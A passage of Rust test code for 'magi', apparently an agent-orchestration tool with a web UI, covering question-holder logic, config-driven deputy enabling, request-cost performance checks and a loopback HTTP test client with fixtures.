10867            "run".to_owned(),
10868            "implement".to_owned(),
10869            "impl-A".to_owned(),
10870            "which?".to_owned(),
10871            String::new(),
10872            Vec::new(),
10873        );
10874        assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
10875        q.cwd = Some("/tmp".to_owned());
10876        assert_eq!(holder_of(&q, None), Some("nobody"));
10877        let beat = |kind, ago: i64| ask::Lease {
10878            kind,
10879            pid: 1,
10880            beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
10881                .unwrap(),
10882        };
10883        let fresh = beat(ask::WaiterKind::Asker, 1);
10884        assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
10885        let daemon = beat(ask::WaiterKind::Daemon, 1);
10886        assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
10887        let stale = beat(ask::WaiterKind::Asker, 3600);
10888        assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
10889
10890        // A conductor question says "deputy" only while one is attached and
10891        // alive, and "nobody" - never silence - when nothing ever listened.
10892        let mut c = Question::new(
10893            "task".to_owned(),
10894            crate::conduct::NODE.to_owned(),
10895            "conduct".to_owned(),
10896            "which?".to_owned(),
10897            String::new(),
10898            Vec::new(),
10899        );
10900        assert_eq!(holder_of(&c, None), Some("nobody"));
10901        c.cwd = Some("/tmp".to_owned());
10902        c.deputy = Some(ask::Deputy::new("brief".to_owned()));
10903        assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
10904        let deputy = beat(ask::WaiterKind::Deputy, 1);
10905        assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
10906        assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
10907
10908        // A release-watch question: nobody until a deputy is attached.
10909        let mut r = Question::new(
10910            String::new(),
10911            crate::bump::NOTICE_NODE.to_owned(),
10912            "release-watch".to_owned(),
10913            "stuck?".to_owned(),
10914            String::new(),
10915            vec!["hold".to_owned()],
10916        );
10917        assert_eq!(holder_of(&r, None), Some("nobody"));
10918        r.deputy = Some(ask::Deputy::new("brief".to_owned()));
10919        assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
10920        // A choice-less bump notice is nobody's question at all.
10921        r.deputy = None;
10922        r.seat = "bump".to_owned();
10923        assert_eq!(holder_of(&r, None), None);
10924
10925        // A merge approval is the same: nobody until a deputy is attached
10926        // and alive, never a silent "no holder".
10927        let mut m = Question::new(
10928            "run".to_owned(),
10929            crate::land::APPROVAL_NODE.to_owned(),
10930            "land".to_owned(),
10931            "merge?".to_owned(),
10932            String::new(),
10933            Vec::new(),
10934        );
10935        assert_eq!(holder_of(&m, None), Some("nobody"));
10936        assert_eq!(
10937            holder_of(&m, Some(&fresh)),
10938            Some("asker"),
10939            "a live explicit wait is a listener even before a deputy is attached"
10940        );
10941        m.deputy = Some(ask::Deputy::new("brief".to_owned()));
10942        assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
10943        assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
10944        assert_eq!(holder_of(&m, None), Some("nobody"));
10945    }
10946
10947    fn stub_config() -> Config {
10948        // An explicit roster, so the result never depends on which agent CLIs
10949        // this machine has installed.
10950        Config {
10951            agents: vec![crate::config::AgentSpec {
10952                id: "stub".to_owned(),
10953                kind: AgentKind::Command,
10954                model: None,
10955                command: vec!["true".to_owned()],
10956                extra_args: Vec::new(),
10957                env: Default::default(),
10958                prompt_delivery: None,
10959                max_turn_secs: None,
10960            }],
10961            ..Config::default()
10962        }
10963    }
10964
10965    fn plain_question(seat: &str) -> Question {
10966        Question::new(
10967            String::new(),
10968            "n".to_owned(),
10969            seat.to_owned(),
10970            "s".to_owned(),
10971            String::new(),
10972            Vec::new(),
10973        )
10974    }
10975
10976    #[test]
10977    fn deputies_enabled_follows_the_config() {
10978        let on = stub_config();
10979        assert!(crate::deputy::can_start(Some(&on), ""));
10980        assert!(crate::deputy::can_start(Some(&on), "stub"));
10981        let mut off = on.clone();
10982        off.daemon.max_deputies = 0;
10983        assert!(!crate::deputy::can_start(Some(&off), ""));
10984        let mut empty = on;
10985        empty.agents.clear();
10986        assert!(!crate::deputy::can_start(Some(&empty), ""));
10987        assert!(!crate::deputy::can_start(None, ""));
10988    }
10989
10990    #[test]
10991    fn question_views_load_the_config_once() {
10992        let dir = TempDir::new().unwrap();
10993        let store = ask::Questions::at(dir.path().to_path_buf());
10994        let mut with_deputy = plain_question("b");
10995        with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
10996        let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
10997
10998        let calls = std::cell::Cell::new(0usize);
10999        let views = question_views(qs.clone(), &store, || {
11000            calls.set(calls.get() + 1);
11001            Some(stub_config())
11002        });
11003        assert_eq!(calls.get(), 1);
11004        assert_eq!(views.len(), 3);
11005        for (v, q) in views.iter().zip(&qs) {
11006            assert_eq!(
11007                v.deputies_enabled,
11008                crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
11009            );
11010        }
11011
11012        let views = question_views(qs, &store, || None);
11013        assert!(views.iter().all(|v| !v.deputies_enabled));
11014
11015        let calls = std::cell::Cell::new(0usize);
11016        let views = question_views(Vec::new(), &store, || {
11017            calls.set(calls.get() + 1);
11018            None
11019        });
11020        assert!(views.is_empty());
11021        assert_eq!(calls.get(), 0);
11022    }
11023
11024    use pretty_assertions::assert_eq;
11025    use serde_json::Value;
11026    use tempfile::TempDir;
11027    use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
11028
11029    use super::*;
11030    use crate::config::Config;
11031    use crate::queue::Source;
11032
11033    /// How many 10ms steps a settle loop takes before it calls a stall a
11034    /// stall - thirty seconds.
11035    ///
11036    /// These loops wait on real `sh` subprocesses, and the machine that runs
11037    /// the gate runs several suites at once, so a two-second budget was not
11038    /// waiting for the reply, it was racing the scheduler: two of these
11039    /// tests failed under that load with the turn simply not landed yet.
11040    /// This is a hang guard, not a latency assertion - every loop breaks the
11041    /// moment its condition holds, so a generous cap costs an idle machine
11042    /// nothing and still fails a genuine hang instead of hanging the suite.
11043    const SETTLE_STEPS: usize = 3_000;
11044
11045    /// A home with a queue and a runs directory, and a router serving it on
11046    /// loopback. `tower`'s `oneshot` is not reachable - `tower` is axum's
11047    /// dependency, not ours - so the tests drive a real socket, which has the
11048    /// side benefit of asserting the status line and content types the phone
11049    /// actually receives.
11050    struct Fixture {
11051        home: TempDir,
11052        addr: SocketAddr,
11053    }
11054
11055    impl Fixture {
11056        async fn start() -> Self {
11057            Self::with_loop(launch_idle).await
11058        }
11059
11060        /// A fixture whose loop is `launch`.
11061        async fn with_loop(launch: Launch) -> Self {
11062            let home = TempDir::new().expect("temp home");
11063            let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
11064            Self { home, addr }
11065        }
11066
11067        /// A fixture whose `ui.repo` is a real directory rather than the
11068        /// usual placeholder - for the routes that read config off it
11069        /// (`GET /api/repos`) and would otherwise have nothing to discover.
11070        async fn with_repo(repo: PathBuf) -> Self {
11071            let home = TempDir::new().expect("temp home");
11072            let addr = Self::serve(home.path(), repo, launch_idle, None).await;
11073            Self { home, addr }
11074        }
11075
11076        /// As [`Fixture::with_repo`], with the machine-config file the
11077        /// settings screen reads and writes.
11078        async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
11079            let home = TempDir::new().expect("temp home");
11080            let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
11081            Self { home, addr }
11082        }
11083
11084        async fn serve(
11085            home: &FsPath,
11086            repo: PathBuf,
11087            launch: Launch,
11088            machine: Option<PathBuf>,
11089        ) -> SocketAddr {
11090            let queue = Queue::at(home.join("queue"));
11091            let runs = home.join("runs");
11092            std::fs::create_dir_all(&runs).expect("runs dir");
11093            let worktrees = home.join("wt").join("magi");
11094            std::fs::create_dir_all(&worktrees).expect("worktrees dir");
11095            let ui = Ui::new(
11096                queue,
11097                Questions::at(home.join("questions")),
11098                Talks::at(home.join("talks")),
11099                runs,
11100                home.to_path_buf(),
11101                repo,
11102            )
11103            .with_worktrees_root(worktrees)
11104            .with_machine_config(machine)
11105            .with_launch(launch);
11106            let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
11107                .await
11108                .expect("bind loopback");
11109            let addr = listener.local_addr().expect("local addr");
11110            tokio::spawn(async move {
11111                let router = ui
11112                    .router()
11113                    .layer(axum::middleware::from_fn(request_cost::observe));
11114                let _ = axum::serve(listener, router).await;
11115            });
11116            addr
11117        }
11118
11119        fn queue(&self) -> Queue {
11120            Queue::at(self.home.path().join("queue"))
11121        }
11122
11123        fn questions(&self) -> Questions {
11124            Questions::at(self.home.path().join("questions"))
11125        }
11126
11127        fn talks(&self) -> Talks {
11128            Talks::at(self.home.path().join("talks"))
11129        }
11130
11131        fn runs(&self) -> PathBuf {
11132            self.home.path().join("runs")
11133        }
11134
11135        async fn get(&self, path: &str) -> Res {
11136            request(self.addr, "GET", path, None).await
11137        }
11138
11139        /// The status and headers without the body, which is how the front end
11140        /// preflights a panel: a sandboxed frame is opaque to the parent
11141        /// document, so the only way to tell "no panel" from "a panel that
11142        /// rendered blank" is to ask before mounting.
11143        async fn head(&self, path: &str) -> Res {
11144            request(self.addr, "HEAD", path, None).await
11145        }
11146
11147        async fn post(&self, path: &str, body: Option<&str>) -> Res {
11148            request(self.addr, "POST", path, body).await
11149        }
11150
11151        async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
11152            request_with(self.addr, "GET", path, None, extra).await
11153        }
11154
11155        async fn delete(&self, path: &str) -> Res {
11156            request(self.addr, "DELETE", path, None).await
11157        }
11158
11159        async fn put(&self, path: &str, body: &str) -> Res {
11160            request(self.addr, "PUT", path, Some(body)).await
11161        }
11162
11163        /// `POST` a raw body with its own headers - see [`request_bytes`].
11164        async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
11165            request_bytes(self.addr, path, headers, body).await
11166        }
11167    }
11168
11169    /// Real tracking refs exercise the successful discovery path (including
11170    /// extraction), rather than counting cheap failures on a placeholder repo.
11171    async fn performance_repositories() -> (TempDir, [PathBuf; 2]) {
11172        let tmp = TempDir::new().unwrap();
11173        let mut repos = Vec::new();
11174        for name in ["one", "two"] {
11175            let repo = tmp.path().join(name);
11176            let origin = tmp.path().join(format!("{name}.git"));
11177            std::fs::create_dir_all(&repo).unwrap();
11178            crate::git::git(&repo, &["init", "-b", "main"])
11179                .await
11180                .unwrap();
11181            std::fs::write(
11182                repo.join("magi.toml"),
11183                format!("{MOCK_AGENT_TOML}\n[repos]\nroots = []\n[update]\nmode = \"off\"\n[verify]\ne2e = []\ngate = []\n"),
11184            )
11185            .unwrap();
11186            crate::git::git(&repo, &["add", "magi.toml"]).await.unwrap();
11187            crate::git::git(
11188                &repo,
11189                &[
11190                    "-c",
11191                    "user.name=fixture",
11192                    "-c",
11193                    "user.email=fixture@example.invalid",
11194                    "commit",
11195                    "-m",
11196                    "fixture",
11197                ],
11198            )
11199            .await
11200            .unwrap();
11201            crate::git::git(tmp.path(), &["init", "--bare", origin.to_str().unwrap()])
11202                .await
11203                .unwrap();
11204            crate::git::git(
11205                &repo,
11206                &["remote", "add", "origin", origin.to_str().unwrap()],
11207            )
11208            .await
11209            .unwrap();
11210            crate::git::git(&repo, &["push", "origin", "main"])
11211                .await
11212                .unwrap();
11213            crate::git::git(
11214                &repo,
11215                &[
11216                    "symbolic-ref",
11217                    "refs/remotes/origin/HEAD",
11218                    "refs/remotes/origin/main",
11219                ],
11220            )
11221            .await
11222            .unwrap();
11223            let (cfg, _) = Config::discover(&repo, None).unwrap();
11224            assert!(cfg.agents.iter().any(|a| a.id == "mock"));
11225            repos.push(repo);
11226        }
11227        let repos: [PathBuf; 2] = repos.try_into().unwrap();
11228        (tmp, repos)
11229    }
11230
11231    async fn performance_fixture() -> (TempDir, [PathBuf; 2], Fixture) {
11232        let (tmp, repos) = performance_repositories().await;
11233        let machine = tmp.path().join("machine.toml");
11234        std::fs::write(&machine, "").unwrap();
11235        let fx = Fixture::with_repo_and_machine(repos[0].clone(), machine).await;
11236        (tmp, repos, fx)
11237    }
11238
11239    fn seed_performance(
11240        fx: &Fixture,
11241        repos: &[PathBuf; 2],
11242        questions: usize,
11243        runs: usize,
11244        items: usize,
11245    ) {
11246        // Saving states directly never starts a run or changes MAGI_HOME.
11247        for i in fx.questions().list().len()..questions {
11248            let mut question = Question::new(
11249                "20261001-000000-0000".into(),
11250                "implement".into(),
11251                "impl-A".into(),
11252                format!("question {i}"),
11253                "context".into(),
11254                vec!["yes".into(), "no".into()],
11255            );
11256            question.id = format!("20261003-000000-{i:04x}");
11257            fx.questions().put(&mut question).unwrap();
11258        }
11259        for i in run_ids(&fx.runs()).len()..runs {
11260            write_run_repo(
11261                &fx.runs(),
11262                &format!("20261001-000000-{i:04x}"),
11263                RunStatus::Ready,
11264                repos[i % 2].to_str().unwrap(),
11265            );
11266        }
11267        for i in fx.talks().list().len()..items {
11268            let id = seed_talk(fx, &format!("20261002-000000-{i:04x}"), "open");
11269            let mut talk = fx.talks().get(&id).unwrap();
11270            talk.repo = repos[i % 2].clone();
11271            fx.talks().put(&mut talk).unwrap();
11272            let mut task = crate::queue::Task::new(
11273                format!("task {i}"),
11274                "instruction".into(),
11275                repos[i % 2].clone(),
11276                crate::queue::Source::Agent {
11277                    run: id,
11278                    node: crate::queue::CHAT_NODE.into(),
11279                },
11280            );
11281            task.id = format!("20261004-000000-{i:04x}");
11282            fx.queue().put(&mut task).unwrap();
11283            // Notices has a production retention cap; seed up to that cap.
11284            if i < crate::notices::CAP {
11285                Notices::at(fx.home.path().join("notifications"))
11286                    .raise(Notice::info(&format!("notice-{i}"), "notification"))
11287                    .unwrap();
11288            }
11289        }
11290        assert_eq!(fx.questions().list().len(), questions);
11291        assert_eq!(run_ids(&fx.runs()).len(), runs);
11292        assert_eq!(fx.talks().list().len(), items);
11293        assert_eq!(fx.queue().list().len(), items);
11294        assert_eq!(
11295            Notices::at(fx.home.path().join("notifications"))
11296                .list()
11297                .len(),
11298            items.min(crate::notices::CAP)
11299        );
11300    }
11301
11302    fn request_counts(res: &Res) -> (usize, usize) {
11303        assert_eq!(res.status, 200, "{}", res.body);
11304        (
11305            res.header("x-test-discoveries").unwrap().parse().unwrap(),
11306            res.header("x-test-git").unwrap().parse().unwrap(),
11307        )
11308    }
11309
11310    #[tokio::test]
11311    async fn list_request_cost_is_independent_of_record_count() {
11312        let (_tmp, repos, fx) = performance_fixture().await;
11313        let mut previous = None;
11314        for n in [4, 60] {
11315            seed_performance(&fx, &repos, n, n, n);
11316            let mut costs = Vec::new();
11317            for (path, discoveries) in [
11318                ("/api/questions", 1),
11319                ("/api/talks", 0),
11320                ("/api/health", 0),
11321                ("/api/stats", 1),
11322            ] {
11323                // Equal cold extraction caches at both scales; this also
11324                // bounds first-request cost instead of only warmed requests.
11325                for repo in &repos {
11326                    let cache = repo.join(".git/magi/config");
11327                    if cache.exists() {
11328                        std::fs::remove_dir_all(cache).unwrap();
11329                    }
11330                }
11331                let cost = request_counts(&fx.get(path).await);
11332                eprintln!("{path} N={n}: discoveries={} git={}", cost.0, cost.1);
11333                assert_eq!(cost.0, discoveries, "{path}, N={n}");
11334                assert!(
11335                    cost.1 <= 40 && (discoveries == 0 || cost.1 > 0),
11336                    "{path}: {cost:?}"
11337                );
11338                costs.push(cost);
11339            }
11340            if let Some(previous) = previous {
11341                assert_eq!(costs, previous);
11342            }
11343            previous = Some(costs);
11344        }
11345        // runs reads shared row inputs and probes process liveness; queue
11346        // builds one blocker inventory; notifications reads its own store.
11347        // None discovers configuration or spawns git per item.
11348    }
11349
11350    /// The same handler path without transport, so the deterministic cause
11351    /// can also be checked in environments that prohibit binding sockets.
11352    #[tokio::test]
11353    async fn list_handler_cost_without_transport() {
11354        let (_tmp, repos) = performance_repositories().await;
11355        let fx = Fixture {
11356            home: TempDir::new().unwrap(),
11357            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
11358        };
11359        let ui = Arc::new(
11360            Ui::new(
11361                fx.queue(),
11362                fx.questions(),
11363                fx.talks(),
11364                fx.runs(),
11365                fx.home.path().to_path_buf(),
11366                repos[0].clone(),
11367            )
11368            .with_worktrees_root(fx.home.path().join("wt")),
11369        );
11370        let mut previous = None;
11371        for (n, runs, items) in [(4, 4, 4), (60, 60, 60), (200, 300, 400)] {
11372            seed_performance(&fx, &repos, n, runs, items);
11373            let mut costs = Vec::new();
11374            for endpoint in ["questions", "talks", "health", "stats"] {
11375                for repo in &repos {
11376                    let cache = repo.join(".git/magi/config");
11377                    if cache.exists() {
11378                        std::fs::remove_dir_all(cache).unwrap();
11379                    }
11380                }
11381                let (_, cost) = request_cost::measure(async {
11382                    match endpoint {
11383                        "questions" => {
11384                            let _ = questions_list(State(ui.clone())).await.unwrap();
11385                        }
11386                        "talks" => {
11387                            let _ = talks_list(
11388                                State(ui.clone()),
11389                                Query(ListQuery {
11390                                    limit: None,
11391                                    ids: None,
11392                                }),
11393                                header::HeaderMap::new(),
11394                            )
11395                            .await
11396                            .unwrap();
11397                        }
11398                        "health" => {
11399                            let _ = health(State(ui.clone())).await.unwrap();
11400                        }
11401                        _ => {
11402                            let _ = stats_get(State(ui.clone()), Query(StatsQuery::default()))
11403                                .await
11404                                .unwrap();
11405                        }
11406                    }
11407                })
11408                .await;
11409                eprintln!("{endpoint} handler N={n}: {cost:?}");
11410                assert_eq!(
11411                    cost.0,
11412                    if matches!(endpoint, "talks" | "health") {
11413                        0
11414                    } else {
11415                        1
11416                    },
11417                    "{endpoint}"
11418                );
11419                assert!(
11420                    cost.1 <= 40 && (matches!(endpoint, "talks" | "health") || cost.1 > 0),
11421                    "{endpoint}: {cost:?}"
11422                );
11423                costs.push(cost);
11424            }
11425            if let Some(previous) = previous {
11426                assert_eq!(costs, previous);
11427            }
11428            previous = Some(costs);
11429        }
11430    }
11431
11432    #[tokio::test]
11433    async fn list_request_cost_scopes_do_not_mix() {
11434        let (_tmp, repos, fx) = performance_fixture().await;
11435        seed_performance(&fx, &repos, 10, 0, 10);
11436        let (questions, talks, notices) = tokio::join!(
11437            fx.get("/api/questions"),
11438            fx.get("/api/talks"),
11439            fx.get("/api/notifications")
11440        );
11441        assert_eq!(request_counts(&questions).0, 1);
11442        // Cached summaries perform no config discovery or git work, even
11443        // alongside the questions request that still discovers config.
11444        assert_eq!(request_counts(&talks), (0, 0));
11445        assert_eq!(request_counts(&notices), (0, 0));
11446    }
11447
11448    #[tokio::test]
11449    async fn list_endpoints_large_home_responses() {
11450        check_large_home_endpoints(false).await;
11451    }
11452
11453    #[tokio::test]
11454    #[ignore = "local wall-clock performance measurement; see docs/web-responsiveness.md"]
11455    async fn list_endpoints_large_home_ceiling() {
11456        check_large_home_endpoints(true).await;
11457    }
11458
11459    async fn check_large_home_endpoints(timed: bool) {
11460        let (_tmp, repos, fx) = performance_fixture().await;
11461        seed_performance(&fx, &repos, 200, 300, 400);
11462        let mut failures = Vec::new();
11463        // app.js boot/change loads plus the initial dashboard, settings and
11464        // repo picker. SSE is a persistent stream, not a bounded GET.
11465        for path in [
11466            "/",
11467            "/app.js",
11468            "/app.css",
11469            "/api/questions",
11470            "/api/runs?limit=300",
11471            "/api/queue",
11472            "/api/talks",
11473            "/api/notifications",
11474            "/api/health",
11475            "/api/stats",
11476            "/api/loop",
11477            "/api/settings",
11478            "/api/repos",
11479        ] {
11480            let start = std::time::Instant::now();
11481            let result = if timed {
11482                tokio::time::timeout(Duration::from_secs(5), fx.get(path)).await
11483            } else {
11484                Ok(fx.get(path).await)
11485            };
11486            let elapsed = start.elapsed();
11487            eprintln!("{path}: {elapsed:?}");
11488            match result {
11489                Ok(res) if res.status == 200 && (!timed || elapsed <= Duration::from_secs(5)) => {}
11490                Ok(res) => failures.push(format!("{path}: status {}, {elapsed:?}", res.status)),
11491                Err(_) => failures.push(format!("{path}: exceeded 5 seconds ({elapsed:?})")),
11492            }
11493        }
11494        assert!(failures.is_empty(), "{}", failures.join("\n"));
11495    }
11496
11497    struct Res {
11498        status: u16,
11499        headers: String,
11500        /// The header block with its original casing, for the assertions that
11501        /// compare a header *value* rather than looking for a name. Lowercasing
11502        /// a CSP would hide a directive spelled with a capital letter, and the
11503        /// whole point of that test is that the string is exactly right.
11504        head: String,
11505        body: String,
11506        /// The body before any UTF-8 handling, for the routes that serve
11507        /// something other than text. A panel asset is a PNG as often as not,
11508        /// and `from_utf8_lossy` would silently replace half of it.
11509        bytes: Vec<u8>,
11510    }
11511
11512    impl Res {
11513        fn json(&self) -> Value {
11514            serde_json::from_str(&self.body)
11515                .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
11516        }
11517
11518        /// One header's value verbatim, or `None` when it was not sent.
11519        fn header(&self, name: &str) -> Option<&str> {
11520            self.head.lines().find_map(|line| {
11521                let (key, value) = line.split_once(':')?;
11522                key.trim()
11523                    .eq_ignore_ascii_case(name)
11524                    .then(|| value.trim_start().trim_end_matches('\r'))
11525            })
11526        }
11527    }
11528
11529    /// A one-shot HTTP/1.1 client. `Connection: close` is what lets the reply
11530    /// be read to end-of-stream without parsing framing.
11531    async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
11532        request_with(addr, method, path, body, &[]).await
11533    }
11534
11535    /// As [`request`], with extra request headers - conditional GETs need
11536    /// `If-None-Match`, and a server that sets an `ETag` it never compares is
11537    /// worse than one that sets none.
11538    async fn request_with(
11539        addr: SocketAddr,
11540        method: &str,
11541        path: &str,
11542        body: Option<&str>,
11543        extra: &[(&str, &str)],
11544    ) -> Res {
11545        let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
11546        for (name, value) in extra {
11547            head.push_str(&format!("{name}: {value}\r\n"));
11548        }
11549        if let Some(body) = body {
11550            head.push_str("Content-Type: application/json\r\n");
11551            head.push_str(&format!("Content-Length: {}\r\n", body.len()));
11552        }
11553        head.push_str("\r\n");
11554        if let Some(body) = body {
11555            head.push_str(body);
11556        }
11557        let mut socket = tokio::net::TcpStream::connect(addr)
11558            .await
11559            .expect("connect to the test server");
11560        socket
11561            .write_all(head.as_bytes())
11562            .await
11563            .expect("write request");
11564        let mut raw = Vec::new();
11565        socket.read_to_end(&mut raw).await.expect("read response");
11566        // Split on the raw bytes rather than on a lossy string, so a binary
11567        // body survives to be compared byte for byte.
11568        let split = raw
11569            .windows(4)
11570            .position(|w| w == b"\r\n\r\n")
11571            .expect("a header block");
11572        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
11573        let bytes = raw[split + 4..].to_vec();
11574        let status = head
11575            .lines()
11576            .next()
11577            .and_then(|line| line.split_whitespace().nth(1))
11578            .and_then(|code| code.parse().ok())
11579            .expect("a status line");
11580        Res {
11581            status,
11582            headers: head.to_lowercase(),
11583            head,
11584            body: String::from_utf8_lossy(&bytes).into_owned(),
11585            bytes,
11586        }
11587    }
11588
11589    /// A `POST` carrying a raw binary body and its own headers, for the
11590    /// attachment upload route - `request_with` only ever sends
11591    /// `Content-Type: application/json`, which is wrong for an image and
11592    /// would corrupt anything not valid UTF-8 by round-tripping it through
11593    /// `&str` first.
11594    async fn request_bytes(
11595        addr: SocketAddr,
11596        path: &str,
11597        headers: &[(&str, &str)],
11598        body: &[u8],
11599    ) -> Res {
11600        let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
11601        for (name, value) in headers {
11602            head.push_str(&format!("{name}: {value}\r\n"));
11603        }
11604        head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
11605        let mut socket = tokio::net::TcpStream::connect(addr)
11606            .await
11607            .expect("connect to the test server");
11608        socket
11609            .write_all(head.as_bytes())
11610            .await
11611            .expect("write request head");
11612        socket.write_all(body).await.expect("write request body");
11613        let mut raw = Vec::new();
11614        socket.read_to_end(&mut raw).await.expect("read response");
11615        let split = raw
11616            .windows(4)
11617            .position(|w| w == b"\r\n\r\n")
11618            .expect("a header block");
11619        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
11620        let bytes = raw[split + 4..].to_vec();
11621        let status = head
11622            .lines()
11623            .next()
11624            .and_then(|line| line.split_whitespace().nth(1))
11625            .and_then(|code| code.parse().ok())
11626            .expect("a status line");
11627        Res {
11628            status,
11629            headers: head.to_lowercase(),
11630            head,
11631            body: String::from_utf8_lossy(&bytes).into_owned(),
11632            bytes,
11633        }
11634    }
11635
11636    /// A run on disk, without touching the process-global magi home.
11637    fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
11638        let mut state = RunState::new(
11639            PathBuf::from("/repo/magi"),
11640            "main".to_owned(),
11641            "0123456789abcdef".to_owned(),
11642            "Add a web UI\n\nMobile first.".to_owned(),
11643            Config::default(),
11644        );
11645        state.id = id.to_owned();
11646        state.status = status;
11647        let dir = runs.join(id);
11648        std::fs::create_dir_all(&dir).expect("run dir");
11649        std::fs::write(
11650            dir.join("run.json"),
11651            serde_json::to_string_pretty(&state).expect("serialize run"),
11652        )
11653        .expect("write run.json");
11654    }
11655
11656    /// Same as [`write_run`], but against a named repository rather than the
11657    /// fixed `/repo/magi` - for the `?repo=` stats tests, which need runs
11658    /// spread across more than one.
11659    fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
11660        let mut state = RunState::new(
11661            PathBuf::from(repo),
11662            "main".to_owned(),
11663            "0123456789abcdef".to_owned(),
11664            "task".to_owned(),
11665            Config::default(),
11666        );
11667        state.id = id.to_owned();
11668        state.status = status;
11669        let dir = runs.join(id);
11670        std::fs::create_dir_all(&dir).expect("run dir");
11671        std::fs::write(
11672            dir.join("run.json"),
11673            serde_json::to_string_pretty(&state).expect("serialize run"),
11674        )
11675        .expect("write run.json");
11676    }
11677
11678    fn write_daemon(home: &FsPath, updated_at: Timestamp) {
11679        let body = serde_json::json!({
11680            "schema": 1,
11681            "pid": 4242,
11682            "started_at": Timestamp::now().to_string(),
11683            "updated_at": updated_at.to_string(),
11684            "idle": false,
11685            "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
11686            "completed": 7,
11687            "polls": 143,
11688        });
11689        std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
11690    }
11691
11692    /// A loop that starts, finds nothing to do, and waits to be told to stop.
11693    ///
11694    /// No test in this file may start the real loop - see [`Ui::launch`] for
11695    /// why - so this stands in for the only thing the routes need a loop to
11696    /// do: keep running until `Stop` is set, then return. A real
11697    /// `serve_until` here would resolve its queue and its status file through
11698    /// the process-global magi home, claim whatever it found in the
11699    /// operator's live backlog, overwrite the status file of the `magi serve`
11700    /// that owns it, and spend real agent quota on a real competition.
11701    fn launch_idle(
11702        _opts: daemon::Opts,
11703        stop: daemon::Stop,
11704    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
11705        Box::pin(async move {
11706            while !stop.stopped() {
11707                tokio::time::sleep(Duration::from_millis(2)).await;
11708            }
11709            Ok(())
11710        })
11711    }
11712
11713    /// A loop that fails on the way up, the way one whose home has gone
11714    /// read-only does.
11715    fn launch_broken(
11716        _opts: daemon::Opts,
11717        _stop: daemon::Stop,
11718    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
11719        // The stand-in dies instantly, so a restarted one can record its own
11720        // failure before the start's response is read. The second attempt
11721        // therefore fails with a different message, to tell a stale error
11722        // from a fresh one.
11723        static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
11724        let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
11725        Box::pin(async move {
11726            Err(anyhow::anyhow!(if first {
11727                "publish the daemon status file: read-only file system"
11728            } else {
11729                "the restarted stand-in failed as well"
11730            }))
11731        })
11732    }
11733
11734    /// The loop view once `want` accepts it.
11735    ///
11736    /// Polled rather than asserted straight after the POST because stopping
11737    /// is deliberately not instant - that is the contract - and rather than
11738    /// slept through because a fixed wait is either flaky or slow.
11739    /// `SETTLE_STEPS` is far longer than a stand-in loop needs and still
11740    /// finite, so a genuine hang fails the test instead of hanging the
11741    /// suite.
11742    async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
11743        for _ in 0..SETTLE_STEPS {
11744            let view = fx.get("/api/loop").await.json();
11745            if want(&view) {
11746                return view;
11747            }
11748            tokio::time::sleep(Duration::from_millis(10)).await;
11749        }
11750        panic!(
11751            "the loop never settled: {}",
11752            fx.get("/api/loop").await.json()
11753        );
11754    }
11755
11756    /// File an open question directly in the store the server reads.
11757    fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
11758        let store = fx.questions();
11759        let mut q = Question::new(
11760            "20260902-000000-beef".to_owned(),
11761            "implement".to_owned(),
11762            "impl-A".to_owned(),
11763            summary.to_owned(),
11764            "because it matters".to_owned(),
11765            choices.iter().map(|c| (*c).to_owned()).collect(),
11766        );
11767        store.put(&mut q).expect("put question");
11768        q.id
11769    }
11770
11771    /// A question with a panel the server can serve, plus the named assets.
11772    ///
11773    /// Written through `Questions::put_panel` rather than by laying out the
11774    /// directory here, so these tests exercise the same on-disk shape the
11775    /// agents produce and cannot pass against a layout only the tests know.
11776    fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
11777        let store = fx.questions();
11778        let mut q = Question::new(
11779            "20260902-000000-beef".to_owned(),
11780            "land".to_owned(),
11781            "fix".to_owned(),
11782            "Merge this?".to_owned(),
11783            "the diff is in the panel".to_owned(),
11784            vec!["merge".to_owned(), "hold".to_owned()],
11785        );
11786        // Staged outside the questions root, because `put_panel` copies from
11787        // wherever the agent left its files.
11788        let staging = fx.home.path().join("staging");
